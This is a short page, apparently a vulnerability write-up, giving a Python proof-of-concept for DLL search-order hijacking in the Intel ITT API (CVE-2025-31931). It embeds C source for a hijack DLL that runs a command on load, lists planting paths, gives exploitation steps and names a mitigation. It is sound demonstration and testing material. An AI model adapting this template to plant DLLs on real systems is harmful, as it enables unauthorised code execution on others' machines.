Intel ITT API不受控制搜索路径权限提升漏洞 (CVE-2025-31931)

# CVE-2025-31931 PoC - DLL Search Order Hijacking # This PoC demonstrates the DLL hijacking vulnerability in Intel ITT API # Note: This is for educational and testing purposes only import os import ctypes from ctypes import wintypes def create_malicious_dll(): """ Generate a malicious DLL that will be loaded by the vulnerable application """ dll_code = ''' #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Log the DLL hijack attempt MessageBox(NULL, "DLL Hijacked - CVE-2025-31931", "Intel ITT API Vulnerability", MB_OK); // Execute malicious code here // In real attack, this would spawn a shell with elevated privileges system("cmd.exe /c whoami > C:\\\\temp\\\\pwned.txt"); } return TRUE; } ''' return dll_code def check_vulnerable_dll_path(): """ Check if the application uses vulnerable DLL search paths """ # Common paths where malicious DLL can be placed vulnerable_paths = [ os.path.join(os.getcwd(), "ittnotify.dll"), os.path.join(os.getcwd(), "libittnotify.dll"), os.environ.get('LOCALAPPDATA', ''), os.environ.get('APPDATA', '') ] return vulnerable_paths def exploit(): """ Simulate the exploitation process """ print("[*] CVE-2025-31931 - Intel ITT API DLL Search Order Hijacking") print("[*] Checking vulnerable DLL search paths...") paths = check_vulnerable_dll_path() for path in paths: print(f"[+] Checking: {path}") print("\n[!] To exploit:") print("1. Place malicious DLL in one of the vulnerable search paths") print("2. Wait for user to launch application using ITT API") print("3. Malicious DLL will be loaded with user privileges") print("\n[*] Mitigation: Upgrade Intel ITT API to version 3.25.4 or later") if __name__ == "__main__": exploit()